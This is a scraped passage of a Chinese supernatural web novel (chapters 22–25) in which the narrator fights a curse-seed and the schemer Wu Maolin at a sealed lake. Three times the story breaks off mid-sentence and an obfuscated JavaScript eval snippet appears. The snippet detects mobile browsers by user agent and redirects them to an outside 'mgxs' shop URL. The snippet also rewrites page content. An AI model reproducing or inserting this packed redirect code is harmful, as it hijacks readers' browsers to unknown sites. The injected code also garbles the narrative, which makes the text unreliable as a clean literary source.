“不好!怨煞残魄钻进去了!”我大喊着冲过去,将掌心按在婴儿的额头上。炙痕的红光与红印碰撞,发出滋滋的声响。婴儿的哭声戛然而止,额头上的红印又变回了淡淡的粉色,可我却清晰地感觉到,那道黑色雾气,正顺着我的掌心,往婴儿的体内钻。 苏怀薇立刻将银锁贴在婴儿的胸口,江磊也将铜戒碎片递了过来。三道光芒交织,形成一道屏障,将那道黑色雾气死死困在婴儿的体外。 “残魄想寄生!”苏怀薇急道,“它在找机会钻进孩子的身体!” 女人吓得脸色惨白,抱着孩子瑟瑟发抖:“求求你们,救救我的孩子!” “嫂子,您放心,我们一定不会让她出事。”楚遥安抚着女人,转头看向我,“溪月,现在怎么办?残魄不除,这孩子永远不得安宁。” 我看着婴儿熟睡的脸庞,心头突然涌起一个念头。我想起姥姥手札里的话:“双生转世,阴阳相济。阳魄化印,阴魄承泽。以问阴之血,引双生共鸣,可驱残魄,固封印。” “我有办法。”我深吸一口气,咬破指尖,将鲜血滴在婴儿的额头上,“用我的血,引动双生转世的共鸣。念水的阳魄在光幕里,能感应到阴魄的危机,到时候,残魄自然会被光幕吸走。” 鲜血滴落在红印上,瞬间化作一道红线,与潭心的金色光幕遥相呼应。光幕剧烈震动,一道金色的光柱冲天而起,直直地射向居民楼的方向。光柱穿透屋顶,笼罩住婴儿,那道黑色雾气发出一声凄厉的嘶吼,被光柱强行从婴儿的体外拽出,朝着潭心的方向飞去。 婴儿再次沉沉睡去,额头的红印恢复了淡淡的粉色,眉眼间竟与柳念水有了几分相似。 我们松了口气,瘫坐在地上。女人抱着孩子,对着我们连连道谢。柳万山看着窗外的金色光柱,长长地舒了口气:“双生转世,阴阳相济。这下,封印总算是稳了。” 可我却高兴不起来。掌心的炙痕依旧发烫,那道黑色雾气被拽走时,竟有一丝极细的残缕,悄无声息地钻进了我的指甲缝里。我悄悄抬起手,指甲缝里的黑色残缕,正与掌心的炙痕纹路,慢慢融合。 楚遥的对讲机突然响起,小李的声音带着急促:“楚队!潭心的光幕出现了裂痕!黑色雾气钻进光幕里,柳念水的声音传了出来,她说……她说‘残魄未除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182843|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十年之期,清河危矣’!” 我们立刻冲回清水潭。潭心的金色光幕上,果然出现了一道细微的裂痕,黑色雾气正顺着裂痕,一点点地渗透进去。光幕里,柳念水的身影若隐若现,她的脸色苍白如纸,正拼尽全力,将黑色雾气往光幕深处压。 “念水!”柳万山跪在潭边,声音哽咽,“坚持住!我们一定会想办法救你!” “爷爷……”柳念水的声音虚弱地传来,“别白费力气了……残魄已经钻进了光幕,与我的阳魄缠在了一起。十年之后,残魄会彻底苏醒,到时候,要么我彻底吞噬残魄,加固封印;要么……残魄吞噬我,怨煞破印。” 她顿了顿,目光落在我的身上,眼神里带着一丝复杂的意味:“宋溪月姐姐,你的掌心……有残魄的气息。你要小心,它在你身上,埋下了一颗种子。十年之后,种子会发芽,到时候,你会成为……残魄的帮凶。” 我的心猛地一沉。原来,那道黑色残缕,根本不是意外钻进我的指甲缝里,而是它刻意为之。 柳念水的身影渐渐变得透明,光幕上的裂痕,也慢慢愈合。她的声音,最后一次在潭面上回荡:“十年之期,双生转世,阴阳对决。清河的命运,就交给你们了……” 光幕恢复了平静,却少了几分之前的澄澈,隐隐透着一丝淡淡的黑色。 我们站在潭边,看着平静的潭面,谁也没有说话。阳光洒在身上,却让人感觉不到一丝暖意。 江磊突然开口,声音低沉:“十年……我们还有十年的时间。足够我们找到彻底消灭残魄的方法。” 楚遥点点头,眼神坚定:“我会向上级申请,将清河县划为永久保护区。这十年里,我们会守在这里,寸步不离。” 苏怀薇握住我的手,掌心的温度温暖而坚定:“溪月,别怕。我们会陪着你,一起面对。” 我看着掌心的炙痕,纹路里的黑色残缕,正慢慢蔓延。我轻轻点头,嘴角扬起一抹苦涩的笑:“好。十年之后,我们一起,守护清河。” 可我心里清楚,这十年,注定不会平静。那道钻进我身体里的残魄种子,正在悄悄发芽。而潭心的光幕里,柳念水与残魄的博弈,才刚刚开始。 夜幕降临,清河县的灯火渐渐亮起。我们回到柳家老宅,整理着姥姥的手札和吴茂林的笔记本。突然,笔记本的夹层里,掉出一张泛黄的照片。照片上,是年轻时的吴茂林和一个女人,女人的怀里抱着一个婴儿,婴儿的额头,也有一块淡红色的印记。照片的背面,写着一行字:“吾女,念水。吾侄,溪月。双生转世,一印一钥。十年之后,清河县,换新天。” 吴茂林的女儿是柳念水?!林溪月是他的侄女?! 我们震惊地看着照片,谁也没有想到,吴茂林竟然是双生转世的生父!他布下的这盘棋,到底有多大? 更让人心惊的是,我的手机突然收到一条陌生短信,发信人的号码,是一串乱码。短信内容只有一句话:“宋溪月,残魄的种子,滋味如何?十年之后,我会回来,接你回家。” 发信人是谁?是吴茂林的残魂?还是那道钻进我身体里的残魄? 窗外的月光,突然变得阴冷。清水潭的方向,传来一声极轻的呜咽,像是柳念水的哭声,又像是残魄的狞笑。 这场跨越千年的轮回,这场延续十年的博弈,才刚刚拉开真正的序幕。 23. 第 23 章 柳家老宅的煤油灯忽明忽暗,泛黄的照片摊在八仙桌上,映得每个人的脸色都凝重如铁。吴茂林年轻时的面容棱角分明,身旁的女人眉眼温婉,怀里的婴儿额间红印清晰可辨——那分明是幼年的柳念水。照片背面的字迹力透纸背,“吾女,念水。吾侄,溪月”八个字,像一把重锤,砸碎了我们所有的认知。 “吴茂林是念水的生父……”柳万山瘫坐在椅上,青铜剑滑落在地,发出刺耳的声响,“那我这些年的守护,岂不是一直在帮仇人养女儿?” 江磊攥紧铜戒碎片,指节泛白:“奶奶的残魂从未提过这件事。吴茂林隐瞒身世,到底有什么目的?” 苏怀薇的银锁在桌案上轻轻震颤,白光映着照片上的红印,泛起诡异的涟漪:“林溪月是他的侄女,和溪月同名,又同是阴魄转世……这绝不是巧合。吴茂林从一开始,就布下了一盘跨越两代的棋。” 我盯着照片上“一印一钥”四个字,掌心的炙痕突然发烫,指甲缝里的黑色残缕隐隐蠕动。手机屏幕还亮着那条乱码短信,“接你回家”四个字,像毒蛇的信子,舔舐着我的神经。 “‘一印一钥’,念水是封印之印,林溪月是开启之钥?”楚遥指尖划过照片边缘,“可吴茂林为什么要这么做?如果他想释放怨煞,直接毁掉封印即可,何必费尽心机布局十年?” 就在这时,老宅的木门突然被风吹开,煤油灯的火焰剧烈摇晃。一道黑影从门外闪过,速度快得几乎看不见轮廓。楚遥立刻掏枪追出去,江磊紧随其后,我和苏怀薇扶着柳万山,也快步跟了出去。 庭院里空荡荡的,只有老槐树的影子在月光下扭曲。楚遥举枪环顾四周,眉头紧锁:“刚才那道影子,速度太快,不像是普通人。” 苏怀薇的银锁突然飞向老槐树,白光缠绕在树干上,发出滋滋的声响。树皮剥落处,露出一个刻着“影”字的凹槽,里面嵌着一枚黑色令牌——与张队身上的“影”字令牌一模一样。 “是清理者的影卫!”柳万山瞳孔骤缩,“柳家祖训记载,影卫是吴茂林培养的死士,只听他一人号令。我以为他们早就随着吴茂林的死而消亡了!” 江磊取下令牌,指尖刚触碰到金属表面,就被一股阴寒之气逼得缩回手:“这令牌上的怨煞之气,比张队的还要浓郁。影卫现在出现,难道是为了林溪月?” “不止是林溪月。”我握紧掌心,黑色残缕的异动越来越明显,“他们的目标,还有我身上的残魄种子。” 话音未落,手机突然再次震动,又是一条乱码短信,附带一张模糊的照片。照片里,林溪月家的窗户被撬开,一个黑影正抱着熟睡的婴儿,消失在夜色中。短信内容只有三个字:“交换吧。” “不好!林溪月被劫走了!”楚遥立刻拿出对讲机,“小李,立刻封锁城南所有路口!排查可疑车辆,重点寻找抱着婴儿的黑衣人!” 我们驱车赶往林溪月家,楼道里一片狼藉,女人瘫坐在门口痛哭流涕:“他们……他们突然闯进来,捂住我的嘴,抢走了月月!我只看到他们衣服上有个‘影’字标记!” 苏怀薇的银锁在空中盘旋,白光指向城外的方向:“他们往清水潭去了!” 车子在夜色中疾驰,清水潭的金色光幕在远处闪烁,像一颗不安的心脏。靠近潭边时,我们看到十几个黑衣人围在光幕前,为首的人戴着黑色面罩,怀里抱着林溪月,正是刚才闪过的黑影。 “宋溪月,单独过来。”面罩人开口,声音沙哑,带着机械般的冰冷,“用你身上的残魄种子,换这个孩子的命。” “你是谁?为什么要我的残魄种子?”我往前走了两步,楚遥想拉住我,被我摆手制止。 “我是谁不重要。”面罩人冷笑,“重要的是,你身上的种子,是唤醒吴先生的关键。十年之期太长,我们等不及了。” “吴先生?是吴茂林?”江磊大喊,“他已经死了!你别再痴心妄想了!” “死?”面罩人嗤笑,“吴先生是影之主,魂藏于怨煞之源,只要集齐残魄种子、双生转世和水神印,他就能死而复生,成为真正的清河之主!” 柳万山突然开口:“你说的是‘影归仪式’!柳家祖训记载,这是一种禁术,需要用转世者的血、怨煞残魄和水神印的力量,让死者魂归肉身。吴茂林竟然想靠这种邪术复活!” 面罩人不再多言,将林溪月举到光幕前:“给你三分钟时间,要么交出残魄种子,要么看着这个孩子被怨煞之气吞噬!” 林溪月被惊醒,放声大哭,额头的红印在光幕的映照下越来越深,隐隐有发黑的趋势。我看着她哭得通红的小脸,又想起柳念水在光幕里虚弱的身影,心头一紧。 “残魄种子在我体内,你要怎么拿?”我缓缓开口,掌心的炙痕越来越烫,黑色残缕已经蔓延到手腕。 “很简单。”面罩人抛出一把淬着黑色雾气的匕首,“用这把怨煞匕首,划破掌心,残魄种子自然会被吸引出来。” 楚遥立刻举枪:“你别做梦了!我们不可能让你得逞!” “那就让这个孩子陪葬!”面罩人突然将林溪月往光幕的裂痕处推去,青黑色的怨煞之气立刻缠绕上婴儿的襁褓。 “不要!”我大喊着冲过去,捡起地上的匕首,毫不犹豫地划破掌心。黑色残缕顺着伤口涌出,化作一道黑雾,朝着面罩人飞去。 “溪月!”苏怀薇想阻止,却被楚遥拉住。 “相信她。”楚遥眼神坚定,“她不会这么轻易让怨煞得逞。” 黑雾在半空中停滞,没有飞向面罩人,反而朝着光幕飞去。我握紧流血的掌心,念起姥姥手札里的控魂咒:“以问阴之血,引残魄归位,封煞锁魂,不得妄动!” 黑雾突然调转方向,朝着黑衣人冲去。那些影卫被黑雾触碰,瞬间发出凄厉的惨叫,身体在怨煞之气的侵蚀下,化作一滩黑水。面罩人大惊失色,想要逃跑,却被苏怀薇的银锁缠住脚踝,摔倒在地。 江磊立刻上前,夺下他怀里的林溪月,将铜戒碎片贴在婴儿的额头上,红印的颜色渐渐变浅。楚遥上前掀开面罩,露出一张陌生的脸,脸上爬满了青黑色的纹路,与被怨煞侵蚀的张队如出一辙。 “你是谁?吴茂林到底在哪里?”楚遥厉声质问。 面罩人疯狂大笑,嘴角溢出黑色的血液:“吴先生就在怨煞之源里!他一直在看着你们!十年之期一到,他就会带着怨煞大军,踏平清河县!你们都将成为他的祭品!” 话音未落,他的身体突然剧烈抽搐,化作一滩黑水,只留下一枚“影”字令牌,与之前找到的令牌拼成完整的图案——正是清水潭底古城的地图。 我们松了口气,江磊将林溪月交给赶来的女人,看着她抱着孩子远去的背影,眼神复杂:“吴茂林的影卫还有多少?我们不知道的阴谋,还有多少?” 柳万山捡起完整的令牌,地图上的纹路在月光下闪烁:“古城地心深处,有一个影卫的巢穴。吴茂林的残魂,很可能就藏在那里。” 我看着掌心愈合的伤口,黑色残缕已经退回炙痕深处,却比之前更加活跃。手机再次震动,乱码短信变成了清晰的文字,发信人显示为“吴茂林”: “宋溪月,你果然没让我失望。残魄种子的觉醒,比我预想的更快。十年之期,我在古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182844|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城地心等你。到时候,你会明白,‘回家’的真正含义。” 楚遥看着短信,脸色凝重:“看来,我们必须提前进入古城地心,找到吴茂林的残魂,彻底消灭他。” 苏怀薇的银锁与令牌产生共鸣,白光指向潭心的光幕:“银锁感应到,古城地心的入口,就在光幕下方。但要打开入口,需要双生转世的血,还有问阴婆的血。” “林溪月还太小,不能让她冒险。”我摇摇头,“但念水在光幕里,她的血,或许能通过光幕传递出来。” 我们走到潭边,我伸出手,掌心贴在光幕上。炙痕的红光与光幕的金光交织,柳念水的身影再次浮现,她的脸色比之前好了一些,额间的红印与我的炙痕完美契合。 “溪月姐姐,我知道你们的计划。”柳念水的声音温柔却坚定,“我的血可以帮你们打开入口,但你们要答应我,一定要保护好林溪月,不能让她重蹈我的覆辙。” “我们答应你。”我点头,眼眶泛红,“等我们消灭了吴茂林的残魂,就想办法救你出来。” 柳念水轻轻摇头:“我已经与封印融为一体,无法离开。但只要你们能彻底消灭怨煞之源,我就能真正安息。” 她的手掌贴在光幕内侧,与我的手掌相对。一道金色的血液从光幕中渗出,顺着我的掌心,流入令牌的凹槽。苏怀薇也划破指尖,银锁的白光与血液融合,令牌上的地图突然发光,潭心的光幕裂开一道更大的缝隙,露出通往古城地心的入口。 “入口已经打开,里面的怨煞之气非常浓郁。”柳念水的身影渐渐模糊,“你们一定要小心,吴茂林的残魂,已经与怨煞之源融为一体,他的力量,远超你们的想象。” 光幕彻底闭合,潭心的入口泛着青黑色的光芒,像一只张开的巨口,等待着我们踏入。楚遥检查着装备,眼神坚定:“事不宜迟,我们现在就出发。” 江磊握紧铜戒,苏怀薇的银锁悬在身前,我看着掌心的炙痕,黑色残缕隐隐跳动,像是在期待着什么。 “十年之约,我们提前赴会。”我深吸一口气,率先朝着入口走去,“这一次,我们要彻底终结这场跨越千年的阴谋。” 踏入古城地心的瞬间,一股浓郁的怨煞之气扑面而来,比溶洞里的气息强上百倍。通道两侧的石壁上,刻满了密密麻麻的“影”字咒印,无数怨魂的虚影在咒印间穿梭,发出凄厉的嘶吼。 走了约百米,前方豁然开朗,出现一座巨大的祭坛。祭坛中央,悬浮着一颗黑色的晶石,正是怨煞之源。晶石下方,躺着一具冰封的尸体——正是吴茂林,他的胸口嵌着一枚黑色的玉佩,与水神印的纹路一模一样。 而在祭坛的阴影里,站着一个熟悉的身影,她缓缓转过身,脸上带着诡异的笑容,额间有一块淡红色的印记。 “姐姐们,好久不见。” 竟然是林溪月!她的眼神里没有了孩童的纯真,取而代之的是与年龄不符的阴冷,嘴角的笑容,与吴茂林如出一辙。 “你……你怎么会在这里?”苏怀薇震惊地后退一步,银锁的白光剧烈闪烁。 林溪月抬手抚摸着额间的红印,笑容越发诡异:“因为,我才是真正的‘钥’。吴茂林叔叔说得对,只有我,才能唤醒真正的怨煞之力。” 她的手掌突然变黑,一道青黑色的怨煞之气从掌心涌出,朝着怨煞之源的晶石飞去。晶石瞬间发光,吴茂林冰封的尸体,手指突然动弹了一下。 我们震惊地看着眼前的一幕,谁也没有想到,真正的棋子,竟然一直藏在我们身边。林溪月到底是谁?她为什么会被怨煞控制?吴茂林的复活仪式,难道已经开始了? 24. 第 24 章 古城地心的怨煞之气浓得几乎凝成实质,青黑色的雾气在祭坛周围盘旋,化作无数张牙舞爪的虚影,嘶吼声震得耳膜生疼。林溪月站在阴影里,额间的红印泛着妖异的光,她的眼神阴冷,嘴角挂着与年龄不符的狞笑,完全没了之前的纯真。 “你根本不是林溪月!”苏怀薇的银锁白光暴涨,直指小女孩的眉心,“真正的阴魄转世,绝不会被怨煞如此轻易控制!你到底是谁?” 林溪月咯咯笑了起来,声音尖锐刺耳:“姐姐真聪明。不过,‘林溪月’这个名字,还有这具身体,都是吴先生为我量身打造的礼物。真正的阴魄转世?早就被吴先生扼杀在摇篮里了。” “人造转世?”柳万山踉跄后退,青铜剑拄在地上,“柳家祖训记载,转世者需应天道而生,岂能人造?这是违背天理的禁术!” “天理?”林溪月嗤笑,抬手一挥,无数怨煞虚影朝着我们扑来,“吴先生说,胜者为王,败者为寇。所谓天理,不过是弱者的借口。我虽是人造,但体内流淌着吴先生的血,承载着怨煞之源的意志,比所谓的天道转世,更适合成为‘钥’。” 楚遥立刻开枪,子弹穿过怨煞虚影,击中林溪月身后的石壁,碎石四溅:“吴茂林到底对你做了什么?你为什么要帮他复活?” “帮他?”林溪月眼神一冷,掌心涌出青黑色的怨煞之气,朝着悬浮的黑色晶石飞去,“我不是帮他,我是在帮我自己!吴先生承诺,等他复活,就会将怨煞之源的力量分给我一半,到时候,我就能成为与他平起平坐的影主,掌控一切!” 晶石被怨煞之气触碰,瞬间爆发出刺眼的黑光,吴茂林冰封的尸体开始剧烈震动,胸口的黑色玉佩与晶石产生共鸣,泛着同样的妖异光芒。尸体上的冰层渐渐融化,青黑色的怨煞之气顺着玉佩,一点点钻进他的七窍。 “不好!复活仪式开始了!”江磊举起铜戒碎片,金光形成一道屏障,挡住扑来的怨煞虚影,“我们必须阻止晶石和吴茂林的联系!” 苏怀薇的银锁突然飞向晶石,白光缠绕在晶石表面,试图切断怨煞之气的流动:“银锁能暂时压制怨煞之力,但我撑不了多久!溪月,想想办法!” 我站在原地,掌心的炙痕烫得惊人,黑色残缕已经蔓延到小臂,正随着晶石的震动疯狂蠕动。我能清晰地感觉到,残魄种子在与怨煞之源共鸣,它在渴望,在躁动,想要挣脱我的控制,飞向晶石,完成吴茂林的复活仪式。 “不行……不能让它得逞!”我咬紧牙关,念起姥姥手札里的镇魂咒,“以问阴之血为引,以炙痕为锁,残魄归位,不得妄动!” 黑色残缕剧烈挣扎,我的手臂传来撕裂般的疼痛,鲜血顺着伤口渗出,滴落在地上,与怨煞之气融合,化作一道道黑色的纹路,朝着祭坛蔓延。 林溪月看到这一幕,眼中闪过一丝贪婪:“宋溪月,别再挣扎了!你身上的残魄种子,本就是吴先生从怨煞之源分离出来的,它的归宿,就是回到吴先生身边,帮他完成最后的觉醒!” “分离出来的?”我浑身一震,掌心的疼痛突然加剧,一段陌生的记忆涌入脑海——吴茂林站在怨煞之源前,用一把黑色匕首划破掌心,将一道黑色雾气注入一个婴儿体内,那个婴儿的掌心,有着与我一模一样的炙痕。 “是你!”我脱口而出,“当年在我身上种下残魄种子的,就是你!我掌心的炙痕,根本不是问阴婆的天赋,而是你用禁术留下的印记!” 林溪月笑得越发诡异:“没错。吴先生早就选中了你。问阴婆的血脉,是最好的容器,能完美承载怨煞残魄。你从出生起,就是吴先生复活计划的一部分。” 楚遥趁机冲上前,一脚踢向林溪月的手腕,想要阻止她继续操控晶石。林溪月反应极快,侧身躲开,同时抬手射出几道怨煞之气,击中楚遥的肩膀。楚遥闷哼一声,摔倒在地,肩膀迅速被青黑色的纹路覆盖。 “楚队!”江磊立刻冲过去,将铜戒碎片贴在楚遥的伤口上,金光闪烁,纹路的蔓延速度渐渐减缓。 柳万山举起青铜剑,朝着林溪月砍去:“妖女!受死吧!” 林溪月不闪不避,掌心的怨煞之气凝聚成盾牌,挡住青铜剑的攻击。剑身与盾牌碰撞,发出刺耳的声响,柳万山被震得连连后退,嘴角溢出鲜血。 苏怀薇的银锁已经开始暗淡,晶石的黑光越来越盛,吴茂林的尸体已经完全解冻,他的手指微微动弹,眼睛缓缓睁开一条缝,透出青黑色的光芒。 “没时间了!”我看着这一幕,心头突然涌起一个疯狂的念头。我想起姥姥手札里的一句话:“残魄同源,可引可控。以宿主之魂为饵,可反吞怨煞之源。” “苏怀薇,帮我!”我大喊着冲向祭坛,“用银锁锁住我的身体,别让我被怨煞控制!我要反吞残魄,破坏复活仪式!” 苏怀薇一愣,立刻反应过来:“溪月,你疯了!反吞怨煞残魄,你会被它吞噬意识的!” “没有时间了!”我已经冲到祭坛边缘,黑色残缕已经蔓延到我的胸口,“要么成功,要么同归于尽!这是唯一的办法!” 苏怀薇咬了咬牙,银锁突然飞向我,白光缠绕在我的身上,形成一道坚固的枷锁:“我会守住你的意识!你一定要撑住!” 我点点头,纵身一跃,跳到祭坛中央,掌心贴在黑色晶石上。怨煞之气疯狂地涌入我的体内,与黑色残缕融合,我的意识开始模糊,无数负面情绪涌上心头——愤怒、怨恨、绝望,想要毁灭一切。 “溪月!别被它控制!想想念水,想想我们!”苏怀薇的声音在耳边响起,银锁的白光越来越盛,支撑着我的意识。 我咬紧牙关,集中精神,引导着体内的怨煞残魄,朝着吴茂林胸口的黑色玉佩冲去。残魄与玉佩接触的瞬间,吴茂林发出一声凄厉的嘶吼,他的身体剧烈抽搐,青黑色的怨煞之气开始反噬,从他的七窍涌出。 “不——!我的力量!”吴茂林的眼睛完全睁开,他伸出手,想要抓住我,“宋溪月,你竟敢背叛我!” “背叛?”我冷笑,体内的怨煞残魄已经与玉佩里的力量纠缠在一起,“从你在我身上种下种子的那一刻起,就该想到今天的结局!” 林溪月看到这一幕,彻底慌了神,她疯狂地冲向祭坛:“不许你破坏吴先生的复活!” 江磊立刻拦住她,铜戒碎片的金光与她的怨煞之气碰撞:“你的对手是我!” 柳万山也举起青铜剑,加入战斗:“今天,就让你为你的所作所为付出代价!” 楚遥已经恢复了一些力气,她掏出枪,瞄准林溪月的腿:“我们不想伤害孩子,但如果你执迷不悟,就别怪我们不客气!” 林溪月眼神一狠,掌心的怨煞之气暴涨,朝着江磊和柳万山扑去:“那就同归于尽!” 苏怀薇的银锁一边支撑着我,一边分出部分白光,帮助江磊和柳万山对抗林溪月:“溪月,快!吴茂林的残魂快要撑不住了!” 我集中所有精神,引导着体内的怨煞残魄,一点点吞噬吴茂林的力量。黑色晶石的黑光越来越暗,吴茂林的身体开始萎缩,青黑色的纹路渐渐褪去,恢复成普通尸体的模样。 “不——!我不甘心!”吴茂林发出最后一声嘶吼,身体彻底失去动静,胸口的黑色玉佩也失去了光泽,变得黯淡无光。 黑色晶石的光芒彻底熄灭,怨煞之气失去了源头,开始疯狂逃窜。苏怀薇的银锁白光暴涨,将四散的怨煞之气牢牢锁住:“溪月,快关闭怨煞之源!” 我抬手按在晶石上,体内的怨煞残魄顺着掌心,涌入晶石内部。晶石开始剧烈震动,一道道裂痕蔓延开来,最终“咔嚓”一声,碎裂成无数小块。 怨煞之气失去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182845|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 载体,被银锁的白光彻底净化,古城地心的嘶吼声渐渐消失,青黑色的雾气也慢慢散去。 我们松了口气,瘫坐在地上。林溪月看着碎裂的晶石和吴茂林的尸体,眼神呆滞,突然放声大哭:“吴先生……你骗我……你说过会给我力量的……” 楚遥走上前,将她抱在怀里:“孩子,你被吴茂林利用了。他从来没有想过给你力量,只是把你当成了复活的工具。” 林溪月的哭声越来越小,她趴在楚遥怀里,渐渐睡着了,额间的红印也恢复了淡淡的粉色,像是从未出现过一样。 我看着自己的掌心,黑色残缕已经退回炙痕深处,不再躁动,只是掌心的炙痕,比之前更加清晰,隐隐泛着淡淡的金光。 “终于结束了……”柳万山长长地舒了口气,青铜剑掉落在地,“柳家千年的守护,总算是有了个圆满的结局。” 江磊捡起地上的黑色玉佩,递给我:“这枚玉佩,是吴茂林力量的核心,现在已经失去了怨煞之气,或许对你有用。” 我接过玉佩,触手冰凉,玉佩上的纹路与我掌心的炙痕完美契合。就在玉佩接触到炙痕的瞬间,一段完整的记忆涌入我的脑海—— 吴茂林并非天生的恶人,他的祖上是守护怨煞之源的守印人,只是世代相传,家族渐渐被怨煞之气侵蚀,变得偏执。吴茂林从小就被灌输“掌控怨煞,才能守护清河”的理念,他研究禁术,制造人造转世,想要复活自己,掌控怨煞之源,并非为了统治,而是为了彻底封印它。只是在研究禁术的过程中,他的意识被怨煞侵蚀,才变得疯狂偏执。 “原来……他的初衷,是好的……”我喃喃自语,心里五味杂陈。 苏怀薇握住我的手:“不管他的初衷是什么,他的做法都是错的。牺牲无辜的人,用禁术违背天理,最终只会自食恶果。” 楚遥点点头:“我们回去吧。清河县需要恢复平静,林溪月也需要一个新的开始。” 我们带着林溪月,沿着通道往回走。古城地心的入口渐渐闭合,金色光幕重新笼罩潭心,比之前更加澄澈,柳念水的身影在光幕里若隐若现,脸上带着释然的笑容。 “溪月姐姐,谢谢你们。”柳念水的声音传来,“怨煞之源已灭,我可以安心安息了。十年之期,再也不会到来。” 光幕的光芒渐渐柔和,柳念水的身影慢慢消散,化作点点金光,洒在清水潭面上。 回到清河县,阳光明媚,街道上恢复了往日的喧嚣。林溪月被送往福利院,楚遥会定期去看望她。柳万山回到柳家村,继续守护着清水潭。江磊则留在清河县,整理奶奶和吴茂林的遗物,想要了解更多关于守印人和转世者的秘密。 我站在清水潭边,看着平静的潭面,掌心的炙痕泛着淡淡的金光。黑色玉佩被我贴身戴着,它不仅承载着吴茂林的执念,也提醒着我,权力和力量,永远不能凌驾于生命之上。 三个月后,清河县恢复了往日的平静,仿佛那场持续千年的阴谋从未发生过。我收拾好姥姥的手札和黑色玉佩,准备离开清河县,开始新的生活。 就在我即将上车时,手机突然收到一条短信,发信人是一串熟悉的乱码,内容只有一句话:“影主从未消亡,怨煞之源只是开始。下一个十年,我们在‘无间渊’再见。” 无间渊?那是什么地方? 我猛地回头,看向清水潭的方向,潭面平静无波,但我却清晰地感觉到,一股熟悉的阴寒之气,从潭底深处传来,比之前的怨煞之气,更加恐怖,更加深沉。 掌心的炙痕突然发烫,黑色玉佩也开始震动,上面的纹路,竟与我脑海中“无间渊”的地图,慢慢重合。 原来,吴茂林的复活,只是一个序幕。真正的危机,藏在比古城地心更深的地方。而我,注定要踏上新的征程,去面对那个更加恐怖的未知世界。 25. 第 25 章 清河县的风裹着草木的清香,拂过清水潭面。金色光幕澄澈如琉璃,潭水波光粼粼,映着岸边往来的行人 —— 三个月的时光,足以让一场惊天动地的阴谋,淡成茶余饭后的传说。 我站在柳家老宅的院门口,手里攥着姥姥的手札和那枚黑色玉佩。行囊早已收拾妥当,布鞋踩在青石板上,发出细碎的声响。柳万山拄着青铜剑站在门内,剑穗上的铜铃随风轻晃,他的脸上沟壑纵横,却透着卸下千斤重担的松弛。 “真要走?” 柳万山的声音带着一丝沙哑,“清河县的安稳,离不开你。” 我回头望了一眼潭心的方向,光幕上金光流转,再无半分怨煞之气的影子。“念水已经安息,林溪月在福利院过得很好,楚遥和江磊会守着这里。” 我轻轻摇头,掌心的炙痕微微发烫,“玉佩在发烫,它在提醒我,有些事还没结束。” 话音刚落,裤兜里的手机突然震动起来。又是那串乱码号码,屏幕上跳出一行字,比上次更简短,却更让人脊背发凉:无间渊,三日开。影主候,汝必至。 “无间渊……” 柳万山的脸色骤然变了,他踉跄着后退一步,扶住门框才站稳,“祖训里的禁忌之地!据说在古城地心之下万仞,是上古巫祝镇压至凶怨煞的牢笼,连水神巫都不敢轻易踏足!” 我捏紧手机,指尖泛白。玉佩的震动越来越剧烈,上面的纹路与我掌心的炙痕完美贴合,一股阴寒之气顺着脉络蔓延,却在触及炙痕的金光时,又缩了回去。 “吴茂林的残魂,是不是藏在那里?” 我沉声问道。 柳万山闭上眼睛,像是在回忆祖训里的字句,良久才缓缓开口:“祖训说,无间渊底有‘影核’,是影族的本源。影族并非人类,是上古怨煞凝结的灵智,吴茂林不过是被影族选中的傀儡。真正的影主,从来都不是他。” “影族?” 我心头一震,姥姥的手札里从未提过这个名字。 “是被遗忘的族群。” 柳万山叹了口气,走到堂屋的神龛前,取下一个积满灰尘的木盒,“这是柳家传了千年的秘录,连我也是第一次打开。你看了就知道,我们面对的,从来都不是一个人,而是一个沉睡了千年的族群。” 木盒打开的瞬间,一股陈旧的墨香扑面而来。里面是一卷泛黄的竹简,上面的篆字歪歪扭扭,却力透纸背。我展开竹简,一行行字句映入眼帘,让我的呼吸都停滞了: 影族生於怨,长於煞,藏於无间渊底。水神巫以身化印,镇影核於地心,筑古城为屏障。千年后印力衰,影族醒,借凡人之躯,欲破渊而出。吴茂林,影族第一枚棋子;双生转世,影族破印之钥;宋溪月,影族选中的新容器 —— 以问阴之血,养影核之魂,待渊门开,影主降。 “新容器……” 我喃喃自语,掌心的炙痕烫得几乎要烧起来,黑色残缕在炙痕深处隐隐蠕动,像是在呼应竹简上的字句。 就在这时,院门外传来急促的脚步声。楚遥和江磊并肩跑来,楚遥的脸色凝重,手里攥着一份检测报告;江磊的手里,拿着一块从古城地心带回来的黑色碎石。 “溪月,别走!” 